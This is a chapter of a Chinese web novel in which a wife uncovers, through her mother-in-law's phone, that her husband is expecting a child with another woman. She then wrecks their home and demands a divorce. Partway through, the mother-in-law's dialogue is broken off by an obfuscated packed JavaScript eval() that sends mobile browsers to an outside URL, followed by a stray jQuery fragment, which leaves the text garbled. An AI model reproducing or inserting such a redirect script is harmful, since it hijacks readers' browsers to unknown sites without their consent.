刘慧莹试到第三次就解开了王曼香的手机密码。
是张闻宇的生日。
聊天界面上,顶着猫咪头像、备注为嫣然的人,在一分钟前陆续发了五条消息:
嫣然:[枸杞子收到了,泡水喝甜甜的,谢谢妈]
嫣然:[图片.jpg]
嫣然:[报告出来了,医生说指标挺好的,照常补叶酸和维生素就行]
嫣然:[报告单.jpg]
嫣然:[开心转圈圈.jpg]
群里一共三人,除了谭嫣然,一个是刘慧莹的公公,一个是刘慧莹的婆婆。
在这个名为一家人的群里,他们被谭嫣然称为爸妈。
手指轻动,向上滑,群内的聊天记录最早可以追溯至去年四月。
文字间,爸、妈、嫣然、闻宇,还有他们的宝宝。
厨房里,水蒸气顶着砂锅,发出噗噗噗的响声。
刘慧莹默不作声,拿着王曼香的手机,进了卧室。
咔哒一声落锁。
**
“慧莹?”
王曼香疑惑地喊,起身敲门。
“慧莹,我手机在你那吗?”
察觉到了不对劲,王曼香用力拍着房门,拧动把手。
没用,反锁了。
“听得见吗?说句话,怎么啦慧莹,你别吓妈呀。”
王曼香眼神飘忽,声音越大。
她扒在房门上,听见了里面的动静。
呲呀——
沉重的桌子挪动的声音。
王曼香反应过来,刘慧莹用梳妆桌堵住了门。
她一咬牙,肩膀用力一撞,哎呦一声,房门丝毫不动。
“你听妈解释啊——”
砰!
里间,有什么东西砸在了房门上,吓了王曼香一跳。
完了,她知道了。
房内的刘慧莹并不像王曼香想的那样,脆弱崩溃。
王曼香的手机被她放在床上。
刘慧莹双腿盘坐,一手用自己的手机打开陶律师帮她下载的取证软件录像,一手上下滑动王曼香的手机屏幕。
从那个三人群的聊天记录,到王曼香母子间的对话。
这就是她遗漏的。
刘慧莹恍然大悟。
她翻张闻宇手机的时候怎么想的到,暗藏玄机的是他和母亲的对话。
下班来我这一趟。
姥爷给你寄的红参,过来挑挑。
厨房油烟机卡住了,你中午过来看看,我炒几个菜啊。
中间夹杂着几条撤回的消息。
有哪一次他们商量的是取代她的事吗?或许吧。
刘慧莹不知道她该信什么不该信什么。
人心易变,世事难料,到了这种地步吗?难道是她把一对母子逼成了谍战好手吗?
结束录像取证,刘慧莹跪在床边干呕了两下,头发丝粘在脸上。
呼吸变得深邃,大口大口呼出又咽下,门缝里飘过来的鸭汤味让她控制不住肠胃的痉挛。
砰砰的敲门声,王曼香反应过来了。
刘慧莹随手抄起拖鞋,朝门摔了过去。
手在抖,眼里也模糊,刘慧莹吸了吸鼻子,窝着身子,用手按住腹部。
胃一阵一阵抽痛
没关系的。我做的很好。
我可以解决。
……贱人!
王八蛋!
没脑子的一家人!
咬牙切齿,恨不得嘴里嚼的是人的血肉。
心脏跳得颠簸起伏轻重不分天旋地转。
刘慧莹一手抹掉眼泪,点了上传,随即双手撑起身体,把自己架起来。
从去年四月到现在,将近一年了。
这一年里,他们过了结婚纪念日,过了张闻宇的生日,去参加过他姥姥的八十寿宴,去他父母家吃过不知几次饭。
每一次。
每一次。
刘慧莹站在那,大口大口地呼吸着空气,觉得自己像是被扒光了扔在大马路上。
视线照得她疼。
被合起伙来欺骗、欺瞒、背叛。
她的心浸到了硫酸液里。
鸡皮疙瘩一身又一身,汗水和眼泪混在一起,被她胡乱擦掉。
王曼香的拍门声还在继续。
刘慧莹随手抄起床头柜的台灯,砰地砸在了门上:“滚!”
从这一声开始,压在嗓子里的几声咒骂和语气助词全部宣泄了出来。
她两臂大开,抓到什么摔什么,噼里啪啦的声音敲在心头,甩出来一些她心里就好过一些。
要什么素质,要什么礼貌。
门外的王曼香惊惶失措,喊什么刘慧莹都不理她,喊什么换来的都是“X你大爷滚蛋!”
等她把卧室整了个稀巴烂,刘慧莹扒拉着自己犹如草窝的脑袋,满脸通红。
愤怒给她染了色。
狼藉的卧室可见温馨浪漫的影子。
那当然。
蕾丝纱帘是她托欧洲留学的朋友在当地一家百年老店买了寄回来的。
刘慧莹抬手就想扯,想到自己这玩意儿背后是那个老匠人多少小时的心血和自己多少小时的薪水,又停住了手。
这一停把她的理智也唤回来了。
王曼香的声音歇了。
刘慧莹猜她去叫张闻宇了。
哈。
翻了个白眼,脸上带着未褪去的潮红,刘慧莹拖过凳子站了上去,把蕾丝纱帘一扣一扣卸下来,团了团塞到旅行包里,又打开衣柜拿了几身衣服。
证件、首饰、护肤品。
这时候也没空想什么整理收纳。
旅行袋够大,刘慧莹就一手给各路人士打电话,一手把东西通通揽进敞口的袋子,噼里啪啦装了一袋子。
摊牌的时机来得突然。做好了决定,歪着头打电话的刘慧莹效率之高堪比部门周会过项目。
“陶律师,不好意思你现在方便过来一趟吗?对我现在……”
“卓晴,去你家住两天可以吗?嗯没事……也行,你现在过来吧。”
“……”
电话打到一半时张闻宇的电话追了过来,刘慧莹挂断他又接着打,口干舌燥的女人果断把他拉黑,继续自己的通话。
打到手机背板都发烫,大门传来了声响。
“慧莹,你先开门啊,我们出来说,你不要做傻事啊!”张闻宇的声音,着急忙慌的。
我做个屁的傻事,最傻的事已经做过了,现在全是止损。
浴室里,镜前的刘慧莹冷笑一下,对着电话那头语气不变:“……麻烦这几天多上心,全款付最好,价格可以商量。”
蓝白小格花纹的浴室砖清新自然,但熨帖不了刘慧莹的心情。
她只想的起来,当初装修的时候她花了多少功夫盯着贴砖的师傅一格一格严丝合缝地把这些弄好。
深呼吸两下,刘慧莹推开堵门的桌子,提着行李袋出门。
急得要联系消防和物业的张闻宇怔住,冲上来抱住她:“你吓死我了!”
行李袋落地发出沉闷的声响。
不及她甩张闻宇巴掌的声音清脆有力。
沙发上的王曼香小小地跳了起来,犹豫没上前。
张闻宇浑然不觉疼痛,他捂着脸,瞥了一眼卧室内的狼藉一片,关注到了行李袋的存在:“你别走、你别走,我可以解释的。”
“解释吧,”刘慧莹一抬头,“孩子是怎么回事?”
“不是、不是……”他的委屈偃旗息鼓,张闻宇犹豫着回头去看王曼香。
“那跟他没关系,”王曼香站了起来,“是我找的人,是我逼他的。”
一声嗤笑。
“那孩子是你的吗?”刘慧莹只盯着张闻宇的眼睛。
若干年前,马哲课上有人戳了戳刘慧莹的后背,她转身时就对上这样的一双眼。
清亮得没有一点杂质,尘埃呀压力呀,都是不存在的,青涩活泼的一双眼,清凌凌飘在空中的一个人。
“同学你叫什么名字?”眼睛的主人问。
现在这双眼里写满了脆弱和挣扎,却还是那一副真诚的样子。
太不公平了。刘慧莹想。怎么你一副比我还受伤的样子。
“……是,”张闻宇卸了精神,又飞快地说,“但是……”
“哈!”刘慧莹抽了一下,打断了他,“闭嘴吧你。”
那股无处发泄的邪火又冒头了。
客厅里三个人。
刘慧莹走了两步,把行李袋甩在玄关。
“你别走……”张闻宇带着哭腔去抓她的手。
刘慧莹转身。
这个人身上的衣服都是她买的。
她喜欢他穿成什么样,他就穿成什么样子。
她说部门新来的实习生可真年轻啊,他就紧张兮兮地去报健身课,又接送上下班宣示主权。
也是这个人,穿着她买的衣服,陪别的女人去做产检。
婚礼上怎么说的来着?
她现在想不起来了。但遗忘的速度一定没有他快。
“……你想要孩子了,你反悔了。”刘慧莹的声音沙哑到可怕,“那你为什么不说呢?”
“难道我会死缠烂打求你不要离开吗?还是我们之间连基本的诚实信用都没有了?”
“是没有了。”
“早就没有了。”
张闻宇未发一言,牙齿紧扣,不敢看她。
“不是这样的……慧莹,是我逼他的,你们现在还年轻,但是你老了就知道,没有小孩不行的呀,到时候后悔来不及的……”王曼香的声音传过来。
“那你一开始答应他干什么?!”刘慧莹扭头怒吼,紧接着一掌拍在了张闻宇肩上,推得他趔趄半步,“你说话啊?装死干嘛?!我没有跟你说过吗?啊?!”
“谈恋爱的时候,你追我的时候,结婚的时候,我不是都说过吗?我不要小孩的,我不是让你想清楚吗?”
“你耍我?”
声带很疼。
刘慧莹猜自己现在的样子一定不美妙。
“不是的……”张闻宇慢慢找回自己的声音,干涩地挤出话语,“我也不想要的真的,这个孩子就是个错误,但我不能真的看我爸妈去死啊慧莹,我也不想的……”
“它不会影响我们的,你也不用在意它,就当它不存在吧好不好?我们还是过我们的生活。”
刘慧莹难以置信,她气得笑了出来,双眼通红,看着这个显得如此陌生的人:“当不存在?”
背景里王曼香说着:“对的对的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861447|176047||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我跟孩子妈妈说好的,这个孩子我和闻宇爸爸养,就跟你们没关系的,户口也上亲戚家,生完孩子她就跟我们没关系了……”
她在胡言乱语些什么刘慧莹压根不在意。
她深呼吸了两下,舒缓心情。
刘慧莹,她对自己说,去年体检就查出来一大两小三个乳腺结节了,医生说不能生气你忘了?
不能生气。
不能生气。
……去你大爷的。
刘慧莹冲进了厨房,举目四望。
她愤怒极了。
砰!碗碟一个接一个地扔出来,砸在地上碎裂一地。
“慧莹——”张闻宇不顾厨房里不时飞出来的“凶器”,迎着战火要进去,恰好被个调羹打中额头。
他唔地低声闷哼,王曼香紧赶慢赶地凑上去拉人,别让他触刘慧莹的霉头。
母子俩拉拉扯扯,就那么看着刘慧莹举着剪刀从厨房出来,眼神发狠、一步一顿。
场面混乱起来。
王曼香尖叫。
张闻宇喊着别冲动。
刘慧莹冷笑一下,对准了沙发上的抱枕。
白色棉花一团一团呕得满地都是。
紧接着是相片。
合照、旅游照、结婚照。
相框砸碎了不行,非要把人影剪开、剪碎,才够。
家里的花瓶。
蜜月时做的陶瓷玩偶。
柜子里的毛绒玩具。
王曼香吓坏了,缩在儿子身边,不住地扯他,但张闻宇一动不动。
对这个家,刘慧莹付出了多少心血,他是知道的。
结婚之后刘慧莹更忙了,自媒体账号经营几乎停摆。她做家居博主是有天赋的。不是系统学设计的人,当初起号时甚至还没有自己的空间。
她就是喜欢,凭着热爱去做,真诚和努力得到了回报。
慧莹去京市读研究生的时候,他们异地。
那时候两个人的未来还不明朗,他们视频聊天时,刘慧莹会提起,她剪视频的时候看到的装修点子,张闻宇一边听一边给自己的意见。
还没有房子,但已经有了一个家的构思。对于书房怎么分功能区,两个人都要小小地争辩一下,然后各让半步,彼此低头傻笑。
后来他们有了自己的房子,也原样构造出了一个家。比恋爱时畅想的只好不坏。
刘慧莹只当客厅里的两人不存在,兀自闷头动手,像个连环杀人魔一样在过去的自己身上扎刀子。
接连唤了她几声都没有回应,被母亲叫回来的张闻宇外套都没脱,站在那,恍然间有种松了一口气的感觉。
不用再瞒了,都结束了。
玄关的花瓶砸在地上的声音很响亮,水溅了一地,花瓣四散。
慧莹从来没有这样过。张闻宇甚至想,他了解刘慧莹。这说明她还在乎他,不是吗?这说明他们吵过闹过之后,又能够重归于好的。而且、而且……
他抓着这个念头像抓着救命稻草,却听见啪嗒一声,剪刀落地,刘慧莹精疲力尽:“离婚。”
“你别走,”这个时候张闻宇的脑袋前所未有的清晰,“对不起对不起,是我没有顶住爸妈的压力,是我食言了,是我对不起你。”
他开始哽咽,坦诚自己的软弱、轻率、幼稚,说他低估了世俗的压力,说他一年又一年地面对亲朋同事的询问,次数多了真的自我怀疑,说他看到同龄人有了一胎二胎的时候被孩子叫叔叔的时候,实在免不了有一两个恍惚的瞬间……
他不顾刘慧莹的挣扎紧紧地抱着她,一边说,身体缓缓下沉,到最后,这个人就那样半跪在刘慧莹身前,阐述哭诉像个受尽委屈的孩子。
刘慧莹是不要小孩的那个人,本着对自己负责的态度,她很早就做了皮下埋植手术,多上一层保险。
张闻宇抱住她大腿的时候,刘慧莹想,要是她没做手术,这个既要又要的人,是不是要去给安全套扎小孔?
崩塌了。
一切都崩塌了。
张闻宇哭了很长一段时间。哭得比他蒙在鼓里的妻子更委屈、时间更长、更伤心。
这期间刘慧莹一直在想,为什么这段婚姻走到了这个地步,而她又是哪里做错了。
最后她得出了结论,她没错。
你不能责怪当年沉浸在恋爱里的自己轻信,你不能批判民政局里签字的自己愚蠢。那太不公平。
刘慧莹脚尖轻动,嗓子还没有恢复过来,沙哑着:“让开。”
不能让。
张闻宇嘶吼着,仰望她:“你别走,我们之间这么多年的感情,你不能一出事就收拾东西走人,我不会离婚的、我不会离婚的,慧莹……”
刘慧莹心中轻叹一声,不自觉地重复了那一句话:“这么多年的感情……”
这么多年的感情落得这个下场。她是贱得慌才会继续留下。
但这句话让张闻宇看到了希望,他拽紧了她的裤腿,眼神亮得发烫:“我会处理好的,这种事情不会再发生了,而且、而且,这个孩子不生了,我、我们会处理好的,不会有孩子,不会有孩子。”
他回头吼了一声,王曼香唯唯诺诺,在这个场面之下,只好咬牙点头。
一股冷意从脊背窜上来。
“你什么意思?”刘慧莹说。